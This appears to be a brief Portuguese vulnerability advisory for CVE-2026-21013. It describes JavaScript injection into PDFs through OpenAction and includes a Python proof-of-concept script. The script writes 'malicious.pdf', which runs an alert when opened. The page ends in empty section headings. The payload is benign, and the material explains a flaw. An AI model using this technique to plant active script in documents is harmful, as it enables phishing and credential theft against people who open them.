CVE-2026-21013 – Injeção de JavaScript em PDF via Script Incorporado

Tipo: Injeção em PDF / Execução de Código no Lado do Cliente
Impacto: Phishing, roubo de credenciais, distribuição de malware.
Causa Raiz: A biblioteca PDF incorpora diretamente strings controladas pelo invasor na estrutura do PDF, sem escape ou validação.

Código do Programa (Python gerando PDF malicioso)

# generate_pdf_js_inject.py - Creates a PDF with embedded JavaScript
pdf = b"""%PDF-1.7
1 0 obj
<< /Type /Catalog /OpenAction << /S /JavaScript /JS (app.alert('XSS')) >>
>>
endobj
trailer
<< /Root 1 0 R >>
%%EOF
"""
with open("malicious.pdf", "wb") as f:
    f.write(pdf)
print("malicious.pdf created. When opened in a vulnerable PDF reader, it will execute JavaScript.")

CVE-2026-21013 – Injeção de JavaScript em PDF via OpenAction

Visão Geral

Um gerador de PDF não sanitiza o conteúdo fornecido pelo usuário antes de incorporá-lo no arquivo PDF. Um invasor pode injetar uma entrada de JavaScript que é executada quando o documento é aberto, levando a cross-site scripting (em visualizadores web) ou execução local de código (em leitores de desktop com suporte completo a JS).

CVE-2026-21013-PDF-JavaScript-Injection-via-Embedded-Script

Mais Populares

Detalhes da Vulnerabilidade

Demonstração do Exploit